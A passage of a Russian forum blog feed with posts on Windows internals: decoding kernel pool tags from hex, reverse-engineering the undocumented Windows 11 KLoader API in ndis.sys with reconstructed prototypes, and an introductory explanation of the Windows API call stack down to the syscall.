<span class="br0">&#40;</span>bs<span class="br0">&#41;</span> &nbsp; &nbsp;<span class="nu0">8</span> 0010 0x08 | <span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp;<span class="nu0">40</span> 0050 0x28 | H &nbsp; &nbsp; &nbsp;<span class="nu0">72</span> 0110 0x48 | h &nbsp; &nbsp; <span class="nu0">104</span> 0150 0x68
<span class="br0">&#40;</span>ht<span class="br0">&#41;</span> &nbsp; &nbsp;<span class="nu0">9</span> 0011 0x09 | <span class="br0">&#41;</span> &nbsp; &nbsp; &nbsp;<span class="nu0">41</span> 0051 0x29 | I &nbsp; &nbsp; &nbsp;<span class="nu0">73</span> 0111 0x49 | i &nbsp; &nbsp; <span class="nu0">105</span> 0151 0x69
<span class="br0">&#40;</span>nl<span class="br0">&#41;</span> &nbsp; <span class="nu0">10</span> 0012 0x0a | * &nbsp; &nbsp; &nbsp;<span class="nu0">42</span> 0052 0x2a | J &nbsp; &nbsp; &nbsp;<span class="nu0">74</span> 0112 0x4a | j &nbsp; &nbsp; <span class="nu0">106</span> 0152 0x6a
<span class="br0">&#40;</span>vt<span class="br0">&#41;</span> &nbsp; <span class="nu0">11</span> 0013 0x0b | + &nbsp; &nbsp; &nbsp;<span class="nu0">43</span> 0053 0x2b | K &nbsp; &nbsp; &nbsp;<span class="nu0">75</span> 0113 0x4b | k &nbsp; &nbsp; <span class="nu0">107</span> 0153 0x6b
<span class="br0">&#40;</span>np<span class="br0">&#41;</span> &nbsp; <span class="nu0">12</span> 0014 0x0c | , &nbsp; &nbsp; &nbsp;<span class="nu0">44</span> 0054 0x2c | L &nbsp; &nbsp; &nbsp;<span class="nu0">76</span> 0114 0x4c | l &nbsp; &nbsp; <span class="nu0">108</span> 0154 0x6c
<span class="br0">&#40;</span>cr<span class="br0">&#41;</span> &nbsp; <span class="nu0">13</span> 0015 0x0d | - &nbsp; &nbsp; &nbsp;<span class="nu0">45</span> 0055 0x2d | M &nbsp; &nbsp; &nbsp;<span class="nu0">77</span> 0115 0x4d | m &nbsp; &nbsp; <span class="nu0">109</span> 0155 0x6d
<span class="br0">&#40;</span>so<span class="br0">&#41;</span> &nbsp; <span class="nu0">14</span> 0016 0x0e | . &nbsp; &nbsp; &nbsp;<span class="nu0">46</span> 0056 0x2e | N &nbsp; &nbsp; &nbsp;<span class="nu0">78</span> 0116 0x4e | n &nbsp; &nbsp; <span class="nu0">110</span> 0156 0x6e
<span class="br0">&#40;</span>si<span class="br0">&#41;</span> &nbsp; <span class="nu0">15</span> 0017 0x0f | / &nbsp; &nbsp; &nbsp;<span class="nu0">47</span> 0057 0x2f | O &nbsp; &nbsp; &nbsp;<span class="nu0">79</span> 0117 0x4f | o &nbsp; &nbsp; <span class="nu0">111</span> 0157 0x6f
<span class="br0">&#40;</span>dle<span class="br0">&#41;</span> &nbsp;<span class="nu0">16</span> 0020 0x10 | <span class="nu0">0</span> &nbsp; &nbsp; &nbsp;<span class="nu0">48</span> 0060 0x30 | P &nbsp; &nbsp; &nbsp;<span class="nu0">80</span> 0120 0x50 | p &nbsp; &nbsp; <span class="nu0">112</span> 0160 0x70
<span class="br0">&#40;</span>dc1<span class="br0">&#41;</span> &nbsp;<span class="nu0">17</span> 0021 0x11 | <span class="nu0">1</span> &nbsp; &nbsp; &nbsp;<span class="nu0">49</span> 0061 0x31 | Q &nbsp; &nbsp; &nbsp;<span class="nu0">81</span> 0121 0x51 | q &nbsp; &nbsp; <span class="nu0">113</span> 0161 0x71
<span class="br0">&#40;</span>dc2<span class="br0">&#41;</span> &nbsp;<span class="nu0">18</span> 0022 0x12 | <span class="nu0">2</span> &nbsp; &nbsp; &nbsp;<span class="nu0">50</span> 0062 0x32 | R &nbsp; &nbsp; &nbsp;<span class="nu0">82</span> 0122 0x52 | r &nbsp; &nbsp; <span class="nu0">114</span> 0162 0x72
<span class="br0">&#40;</span>dc3<span class="br0">&#41;</span> &nbsp;<span class="nu0">19</span> 0023 0x13 | <span class="nu0">3</span> &nbsp; &nbsp; &nbsp;<span class="nu0">51</span> 0063 0x33 | S &nbsp; &nbsp; &nbsp;<span class="nu0">83</span> 0123 0x53 | s &nbsp; &nbsp; <span class="nu0">115</span> 0163 0x73
<span class="br0">&#40;</span>dc4<span class="br0">&#41;</span> &nbsp;<span class="nu0">20</span> 0024 0x14 | <span class="nu0">4</span> &nbsp; &nbsp; &nbsp;<span class="nu0">52</span> 0064 0x34 | T &nbsp; &nbsp; &nbsp;<span class="nu0">84</span> 0124 0x54 | t &nbsp; &nbsp; <span class="nu0">116</span> 0164 0x74
<span class="br0">&#40;</span>nak<span class="br0">&#41;</span> &nbsp;<span class="nu0">21</span> 0025 0x15 | <span class="nu0">5</span> &nbsp; &nbsp; &nbsp;<span class="nu0">53</span> 0065 0x35 | U &nbsp; &nbsp; &nbsp;<span class="nu0">85</span> 0125 0x55 | u &nbsp; &nbsp; <span class="nu0">117</span> 0165 0x75
<span class="br0">&#40;</span>syn<span class="br0">&#41;</span> &nbsp;<span class="nu0">22</span> 0026 0x16 | <span class="nu0">6</span> &nbsp; &nbsp; &nbsp;<span class="nu0">54</span> 0066 0x36 | V &nbsp; &nbsp; &nbsp;<span class="nu0">86</span> 0126 0x56 | v &nbsp; &nbsp; <span class="nu0">118</span> 0166 0x76
<span class="br0">&#40;</span>etb<span class="br0">&#41;</span> &nbsp;<span class="nu0">23</span> 0027 0x17 | <span class="nu0">7</span> &nbsp; &nbsp; &nbsp;<span class="nu0">55</span> 0067 0x37 | W &nbsp; &nbsp; &nbsp;<span class="nu0">87</span> 0127 0x57 | w &nbsp; &nbsp; <span class="nu0">119</span> 0167 0x77
<span class="br0">&#40;</span>can<span class="br0">&#41;</span> &nbsp;<span class="nu0">24</span> 0030 0x18 | <span class="nu0">8</span> &nbsp; &nbsp; &nbsp;<span class="nu0">56</span> 0070 0x38 | X &nbsp; &nbsp; &nbsp;<span class="nu0">88</span> 0130 0x58 | x &nbsp; &nbsp; <span class="nu0">120</span> 0170 0x78
<span class="br0">&#40;</span>em<span class="br0">&#41;</span> &nbsp; <span class="nu0">25</span> 0031 0x19 | <span class="nu0">9</span> &nbsp; &nbsp; &nbsp;<span class="nu0">57</span> 0071 0x39 | Y &nbsp; &nbsp; &nbsp;<span class="nu0">89</span> 0131 0x59 | y &nbsp; &nbsp; <span class="nu0">121</span> 0171 0x79
<span class="br0">&#40;</span>sub<span class="br0">&#41;</span> &nbsp;<span class="nu0">26</span> 0032 0x1a | : &nbsp; &nbsp; &nbsp;<span class="nu0">58</span> 0072 0x3a | Z &nbsp; &nbsp; &nbsp;<span class="nu0">90</span> 0132 0x5a | z &nbsp; &nbsp; <span class="nu0">122</span> 0172 0x7a
<span class="br0">&#40;</span>esc<span class="br0">&#41;</span> &nbsp;<span class="nu0">27</span> 0033 0x1b | ; &nbsp; &nbsp; &nbsp;<span class="nu0">59</span> 0073 0x3b | <span class="br0">&#91;</span> &nbsp; &nbsp; &nbsp;<span class="nu0">91</span> 0133 0x5b | <span class="br0">&#123;</span> &nbsp; &nbsp; <span class="nu0">123</span> 0173 0x7b
<span class="br0">&#40;</span>fs<span class="br0">&#41;</span> &nbsp; <span class="nu0">28</span> 0034 0x1c | &lt; &nbsp; &nbsp; &nbsp;<span class="nu0">60</span> 0074 0x3c | \ &nbsp; &nbsp; &nbsp;<span class="nu0">92</span> 0134 0x5c | | &nbsp; &nbsp; <span class="nu0">124</span> 0174 0x7c
<span class="br0">&#40;</span>gs<span class="br0">&#41;</span> &nbsp; <span class="nu0">29</span> 0035 0x1d | = &nbsp; &nbsp; &nbsp;<span class="nu0">61</span> 0075 0x3d | <span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp;<span class="nu0">93</span> 0135 0x5d | <span class="br0">&#125;</span> &nbsp; &nbsp; <span class="nu0">125</span> 0175 0x7d
<span class="br0">&#40;</span>rs<span class="br0">&#41;</span> &nbsp; <span class="nu0">30</span> 0036 0x1e | &gt; &nbsp; &nbsp; &nbsp;<span class="nu0">62</span> 0076 0x3e | ^ &nbsp; &nbsp; &nbsp;<span class="nu0">94</span> 0136 0x5e | ~ &nbsp; &nbsp; <span class="nu0">126</span> 0176 0x7e
<span class="br0">&#40;</span>us<span class="br0">&#41;</span> &nbsp; <span class="nu0">31</span> 0037 0x1f | ? &nbsp; &nbsp; &nbsp;<span class="nu0">63</span> 0077 0x3f | _ &nbsp; &nbsp; &nbsp;<span class="nu0">95</span> 0137 0x5f | <span class="br0">&#40;</span>del<span class="br0">&#41;</span> <span class="nu0">127</span> 0177 0x7f</pre></td></tr></table></div></td></tr></tbody></table></div>и переводим значения 0x62694C4E и 0x7274534B по правилам, указанным в аннотации к функции ExAllocatePoolWithTag<br />
0x62 = b<br />
0x69 = i<br />
0x4C = L<br />
0x4E = N<br />
<br />
0x72 = r<br />
0x74 = t<br />
0x53 = S<br />
0x4B = K<br />
<br />
<code class="inlinecode">biLN</code> и <code class="inlinecode">rtSK</code> читаем в обратном порядке и получаем <code class="inlinecode">NLib</code> и <code class="inlinecode">KStr</code></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7574.html</guid>
		</item>
		<item>
			<title>Разбираемся в новом API KLoader. Часть 1: Общие сведения</title>
			<link>https://www.cyberforum.ru/blogs/172954/7507.html</link>
			<pubDate>Tue, 24 May 2022 21:56:22 GMT</pubDate>
			<description>Во-первых, сразу уточню, что новый API доступен только в Windows 11. В более старых версиях ОС не...</description>
			<content:encoded><![CDATA[<div>Во-первых, сразу уточню, что новый API доступен только в Windows 11. В более старых версиях ОС не ищите, его там нет.<br />
<br />
Уже и не помню каким образом я наткнулся на ветку реестра <code class="inlinecode">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\KLoader</code><br />
но результат запроса на открытие меня немного удивил<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7549&amp;d=1653423992" rel="Lightbox" id="attachment7549" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7549&amp;thumb=1&amp;d=1653423992" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.jpg
Просмотров: 579
Размер:	84.2 Кб
ID:	7549" style="margin: 5px" /></a><br />
Отказано в доступе с учётом того, что Реестр по умолчанию открывается с правами администратора с соответствующим запросом UAC.<br />
<br />
<i>&quot;Не на того напал&quot;</i> - подумал я и повысил права на Реестр до системного процесса через <a rel="nofollow noopener noreferrer" href="https://github.com/LunarResearch/KernelExplorer" target="_blank" title="https://github.com/LunarResearch/KernelExplorer">KernelExplorer</a><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7550&amp;d=1653424261" rel="Lightbox" id="attachment7550" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7550&amp;thumb=1&amp;d=1653424261" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.jpg
Просмотров: 355
Размер:	49.5 Кб
ID:	7550" style="margin: 5px" /></a><br />
<br />
Посмотрев кому разрешён туда доступ снова был немного удивлён<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7551&amp;d=1653424556" rel="Lightbox" id="attachment7551" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7551&amp;thumb=1&amp;d=1653424556" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.jpg
Просмотров: 430
Размер:	141.0 Кб
ID:	7551" style="margin: 5px" /></a><br />
Только TrustedInstaller имеет полный доступ к этой ветке Реестра, и даже СИСТЕМА ограничена на ReadOnly<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7552&amp;d=1653424765" rel="Lightbox" id="attachment7552" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7552&amp;thumb=1&amp;d=1653424765" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.jpg
Просмотров: 391
Размер:	129.8 Кб
ID:	7552" style="margin: 5px" /></a><br />
<br />
Стало интересно что это за Kernel_Loader такой (KLoader видимо расшифровывается именно так).<br />
В каталоге <code class="inlinecode">{9C0B898D-6275-48EC-81B4-E5EDBE44B535}</code> есть только один строковый ключ с именем сервиса - ExecutionContext.<br />
Находим этот сервис в KernelExplorer и смотрим что это такое<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7553&amp;d=1653425131" rel="Lightbox" id="attachment7553" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7553&amp;thumb=1&amp;d=1653425131" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.jpg
Просмотров: 461
Размер:	110.4 Кб
ID:	7553" style="margin: 5px" /></a><br />
<br />
Информации немного: данный сервис лишь только взводит одноимённый драйвер ExecutionContext.sys<br />
Примечательно, что драйвер не запускается вместе с системой (SERVICE_NEVER_STARTED), и никаких триггеров запуска тоже нет.<br />
Есть только его SID <code class="inlinecode">S-1-5-80-3864825158-175547187-713465520-1238131867-1407735089</code><br />
<br />
Идём дальше.<br />
Берём драйвер ExecutionContext.sys и скармливаем его дизассемблеру IDA.<br />
Переходим на точку входа DriverEntry и видимо вот такую красоту<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7554&amp;d=1653425931" rel="Lightbox" id="attachment7554" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7554&amp;thumb=1&amp;d=1653425931" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 6.jpg
Просмотров: 423
Размер:	61.6 Кб
ID:	7554" style="margin: 5px" /></a><br />
Интерес здесь вызывают две функции - internal (внутренняя) функция <code class="inlinecode">WppLoadTracingSupport</code> и импортируемая из драйвера ndis.sys <code class="inlinecode">KLoaderRegisterModule</code><br />
Внутри WppLoadTracingSupport вызывается очень интересная процедура ядра ОС <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmgetsystemroutineaddress" target="_blank" title="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmgetsystemroutineaddress">MmGetSystemRoutineAddress</a><br />
Эту процедуру может экспортировать только ядро или HAL (в старых версиях Windows 10, когда HAL ещё не переехал в ядро).<br />
Суть этой функции очень проста - она возвращает указатель на функции внутри ntoskrnl.exe (как <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress" target="_blank" title="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress">GetProcAddress</a> в юзермоде)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="761115917"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="761115917" style="height: 206px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="de1"><pre class="de1">UNICODE_STRING DestinationString<span class="sy4">;</span>
DEVICE_OBJECT WPP_MAIN_CB<span class="sy4">;</span>
&nbsp;
RtlInitUnicodeString<span class="br0">&#40;</span><span class="sy3">&amp;</span>DestinationString, <span class="co3">L</span><span class="st0">&quot;PsGetVersion&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
WPP_MAIN_CB.<span class="me1">Queue</span>.<span class="me1">Wcb</span>.<span class="me1">DeviceRoutine</span> <span class="sy1">=</span> <span class="br0">&#40;</span>PDRIVER_CONTROL<span class="br0">&#41;</span>MmGetSystemRoutineAddress<span class="br0">&#40;</span><span class="sy3">&amp;</span>DestinationString<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
RtlInitUnicodeString<span class="br0">&#40;</span><span class="sy3">&amp;</span>DestinationString, <span class="co3">L</span><span class="st0">&quot;WmiTraceMessage&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
WPP_MAIN_CB.<span class="me1">Queue</span>.<span class="me1">Wcb</span>.<span class="me1">DeviceObject</span> <span class="sy1">=</span> MmGetSystemRoutineAddress<span class="br0">&#40;</span><span class="sy3">&amp;</span>DestinationString<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
RtlInitUnicodeString<span class="br0">&#40;</span><span class="sy3">&amp;</span>DestinationString, <span class="co3">L</span><span class="st0">&quot;WmiQueryTraceInformation&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
WPP_MAIN_CB.<span class="me1">Queue</span>.<span class="me1">Wcb</span>.<span class="me1">CurrentIrp</span> <span class="sy1">=</span> MmGetSystemRoutineAddress<span class="br0">&#40;</span><span class="sy3">&amp;</span>DestinationString<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Но вернёмся к нашим <i>&quot;баранам&quot;</i>.<br />
Теперь есть понимание, что API KLoader находится в драйвере ndis.sys<br />
Открываем его в дизассемблере IDA и видим, что программный интерфейс включает в себя три экспортируемые internal функции<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7555&amp;d=1653427293" rel="Lightbox" id="attachment7555" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7555&amp;thumb=1&amp;d=1653427293" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 7.jpg
Просмотров: 429
Размер:	47.7 Кб
ID:	7555" style="margin: 5px" /></a><br />
<br />
и одну не экспортируемую<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7604&amp;d=1655447200" rel="Lightbox" id="attachment7604" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7604&amp;thumb=1&amp;d=1655447200" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 8.jpg
Просмотров: 303
Размер:	121.1 Кб
ID:	7604" style="margin: 5px" /></a><br />
<br />
Я составил их прототипы<br />
<div class="codeblock"><table class="c"><thead><tr><td colspan="2" id="326487224"  class="head">C</td></tr></thead><tbody><tr class="li1"><td><div id="326487224" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="de1"><pre class="de1">DECLARE_HANDLE<span class="br0">&#40;</span>KLOADER_MODULE_REFERENCE<span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw4">typedef</span> KLOADER_MODULE_REFERENCE<span class="sy0">*</span> PKLOADER_MODULE_REFERENCE<span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KLOADER_MODULE_CHARACTERISTICS <span class="br0">&#123;</span>
&nbsp;
<span class="br0">&#125;</span> KLOADER_MODULE_CHARACTERISTICS<span class="sy0">,</span> <span class="sy0">*</span> PKLOADER_MODULE_CHARACTERISTICS<span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KLOADER_REFERENCE_MODULE_CONFIG <span class="br0">&#123;</span>
&nbsp;
<span class="br0">&#125;</span> KLOADER_REFERENCE_MODULE_CONFIG<span class="sy0">,</span> <span class="sy0">*</span> PKLOADER_REFERENCE_MODULE_CONFIG<span class="sy0">;</span>
&nbsp;
&nbsp;
_IRQL_requires_max_<span class="br0">&#40;</span>PASSIVE_LEVEL<span class="br0">&#41;</span>
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderRegisterModule<span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PDRIVER_OBJECT pDriverObject<span class="sy0">,</span>
&nbsp; &nbsp; _In_ PUNICODE_STRING pRegistryPath<span class="sy0">,</span>
&nbsp; &nbsp; _In_opt_ PVOID arg3<span class="sy0">,</span>
&nbsp; &nbsp; _In_ PKLOADER_MODULE_CHARACTERISTICS pKModuleCharacts<span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
_IRQL_requires_max_<span class="br0">&#40;</span>PASSIVE_LEVEL<span class="br0">&#41;</span>
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderReferenceModule<span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="sy0">,</span>
&nbsp; &nbsp; _Out_ PKLOADER_MODULE_REFERENCE<span class="sy0">*</span> ppKModule<span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
_IRQL_requires_max_<span class="br0">&#40;</span>PASSIVE_LEVEL<span class="br0">&#41;</span>
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderDereferenceModule<span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PKLOADER_MODULE_REFERENCE pKModule<span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
&nbsp;
NTSTATUS
FASTCALL
KLoaderQueryDispatchTable<span class="br0">&#40;</span>
&nbsp; &nbsp; __int64 a1<span class="sy0">,</span>
&nbsp; &nbsp; __int64 a2<span class="sy0">,</span>
&nbsp; &nbsp; __int64 a3<span class="br0">&#41;</span><span class="sy0">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Что находится в структурах <code class="inlinecode">KLOADER_MODULE_CHARACTERISTICS</code> и <code class="inlinecode"> KLOADER_REFERENCE_MODULE_CONFIG</code> пока сказать не могу.<br />
API KLoader появился в Windows 11 (возможно даже только в свежих сборках) и никакой информации в интернете нет.<br />
Символы тоже картины не проясняют ни в IDA, ни в WinDbg.<br />
<br />
Относительно лёгкое понимание есть по двум функциям:<br />
<code class="inlinecode">KLoaderReferenceModule</code> - на вход подаётся сконфигурированная информация, а на выходе инициализируется дескриптор.<br />
<code class="inlinecode">KLoaderDereferenceModule</code> - здесь всё просто: процедура KLoaderDereferenceModule уменьшает количество ссылок объекта на единицу.<br />
<br />
<code class="inlinecode">KLoaderRegisterModule</code> - функция оперирует объектом драйвера и некоторыми атрибутами.<br />
<br />
<code class="inlinecode">KLoaderQueryDispatchTable</code> - это внутренняя процедура, которая получает доступ к таблице guid'ов.<br />
В классе ExecutionContextLibrary инициализируется KLoaderReferenceModule через GUID<br />
<div class="codeblock"><table class="c"><thead><tr><td colspan="2" id="31916122"  class="head">C</td></tr></thead><tbody><tr class="li1"><td><div id="31916122" style="height: 110px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
</pre></td><td class="de1"><pre class="de1">&nbsp;__int128 EXECUTION_CONTEXT_MODULE_ID<span class="sy0">;</span> <span class="co1">// = 35B544BE-EDE5-B481-48EC-62759C0B898D</span>
&nbsp;
result <span class="sy0">=</span> KLoaderReferenceModule<span class="br0">&#40;</span>
&nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw4">struct</span> _KLOADER_REFERENCE_MODULE_CONFIG <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">&amp;</span>v8<span class="sy0">,</span>
&nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw4">struct</span> KLOADER_MODULE_REFERENCE__ <span class="sy0">**</span><span class="br0">&#41;</span>this <span class="sy0">+</span> <span class="nu0">14</span><span class="br0">&#41;</span><span class="sy0">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>если результат отрицательный, инициализация происходит через таблицу guid'ов<br />
<div class="codeblock"><table class="c"><thead><tr><td colspan="2" id="897774234"  class="head">C</td></tr></thead><tbody><tr class="li1"><td><div id="897774234" style="height: 158px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
</pre></td><td class="de1"><pre class="de1">__int64 EXECUTION_CONTEXT_DISPATCH_TABLE_ID<span class="sy0">;</span> <span class="co1">// = 25h</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>result<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; v4 <span class="sy0">=</span> <span class="sy0">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>_QWORD <span class="sy0">*</span><span class="br0">&#41;</span>this <span class="sy0">+</span> <span class="nu0">14</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp; &nbsp; v7 <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span>
&nbsp; &nbsp; result <span class="sy0">=</span> KLoaderQueryDispatchTable<span class="br0">&#40;</span>v4<span class="sy0">,</span> v3<span class="sy0">,</span> <span class="br0">&#40;</span>__int64<span class="br0">&#41;</span><span class="sy0">&amp;</span>v7<span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Надеюсь Вам было интересно немного окунуться в ядерные глубины Windows 11 :)<br />
То, что я описал очень поверхностно и многое требует так называемого deep internal исследования, которое будет в следующей части.<br />
<br />
<a href="https://www.cyberforum.ru/blogs/172954/blog7574.html">Разбираемся в новом API KLoader. Часть 2: Deep Internal Research</a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7507.html</guid>
		</item>
		<item>
			<title>Стек вызовов Windows API</title>
			<link>https://www.cyberforum.ru/blogs/172954/7497.html</link>
			<pubDate>Mon, 11 Apr 2022 11:59:21 GMT</pubDate>
			<description>В этой записи я постараюсь простым понятным языком объяснить что такое API в целом, а также его...</description>
			<content:encoded><![CDATA[<div>В этой записи я постараюсь простым понятным языком объяснить что такое API в целом, а также его разновидности в зависимости от того, где это API исполняется.<br />
<br />
Сперва, предлагаю внимательно посмотреть на скриншот и запомнить последовательность вызовов<br />
(не стал рисовать свои скриншоты, т.к. этот в полной мере описывает весь процесс)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7441&amp;d=1649664821" rel="Lightbox" id="attachment7441" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7441&amp;thumb=1&amp;d=1649664821" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 571
Размер:	57.6 Кб
ID:	7441" style="margin: 5px" /></a><br />
<br />
Итак, после того, как исходный код был скомпилирован, появляется пользовательское приложение (файл с расширением *.exe).<br />
EXE файл это исполняемый файл со строго типизированной структурой заголовка Portable Executable (PE).<br />
Формат PE достаточно объемный, и поэтому кажется сложным. Но Microsoft любезно предоставляет спецификацию этого формата <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format" target="_blank" title="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format">PE Format</a>, так что с освоением проблем не должно возникнуть.<br />
Такая структурированность требуется для того, чтобы загрузчик Windows смог проецировать таблицы с кодом, заложенные в EXE файле, в виртуальное адресное пространство, для дальнейшего его исполнения на процессоре (инструкция за инструкцией).<br />
<br />
Я сейчас не буду подробно останавливаться на каждой таблице, но нужно запомнить вот что:<br />
у EXE файлов всегда есть таблица импорта адресов - Import Address Table (IAT) (за исключением случаев, когда код написан без среды выполнения C Runtime (CRT)).<br />
<br />
Вернёмся на шаг назад - к исходному коду.<br />
Когда программист пишет код будущего пользовательского приложения, он использует заготовленные файлы хидеров (Header), в которых определены различные константы, прототипы функций и многое другое.<br />
Хидер это просто текст и не более.<br />
Ещё программист использует библиотеки (*.lib), чтобы связать (слинковать) прототип функции из хидера с реальной функций в одной из системных библиотек DLL.<br />
Именно эта связь формирует таблицу импорта адресов (IAT) в заголовке PE будущего EXE файла.<br />
<br />
Снова вернёмся к скриншоту, на котором для примера выбрана функция <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile" target="_blank" title="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile">WriteFile</a> и весь её стек вызовов.<br />
И вот тут уже можно начинать задать вопрос - что же такое Application Programming Interface (API)?<br />
<br />
Начнем с пользовательского окружения - то, что доступно непосредственно пользователю: Windows API (WinAPI).<br />
<b>WinAPI</b> это документированное API, т.е. к прототипам его функций есть описание и спецификации.<br />
WinAPI представляет собой массивный набор функций, распределенный по нескольким системным библиотекам DLL.<br />
Основные системные библиотеки пользовательского окружения: kernelbase.dll (до Windows 8 это была kernel32.dll и теперь она служит лишь стабом для совместимости), user32.dll, gdi32.dll, advapi32.dll, ntmarta.dll, shell32.dll и др.<br />
В них собрано огромное количество функций, которые и формируют WinAPI.<br />
<br />
Когда программист в коде использует функцию <code class="inlinecode">WriteFile</code>, он вызывает её API из соответствующей системной библиотеки (в данном случае kernel32.dll).<br />
По сути API это ничто иное как исполняемый код в самой библиотеки DLL.<br />
Там выполняются различные internal функции (не экспортируемые функции), вычисления, заполнение переменных, переданных программистом через аргументы функции <code class="inlinecode">WriteFile</code>.<br />
Формируется так называемый пользовательский контекст - массив данных, который передаётся ядру ОС через ссылку на стек (шлюз)<br />
<div class="codeblock"><table class="asm"><thead><tr><td colspan="2" id="32176334"  class="head">Assembler</td></tr></thead><tbody><tr class="li1"><td><div id="32176334" style="height: 110px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
</pre></td><td class="de1"><pre class="de1">proc near
&nbsp; &nbsp; <span class="kw1">mov</span> <span class="kw4">edx</span><span class="sy1">,</span> <span class="kw4">esp</span>
&nbsp; &nbsp; <span class="kw1">syscall</span> <span class="co1">; mov edx, 7FFE0300 // SharedUserData!SystemCallStub (в 7FFE0300 находится адрес KiFastSystemCall)</span>
&nbsp; &nbsp; retn
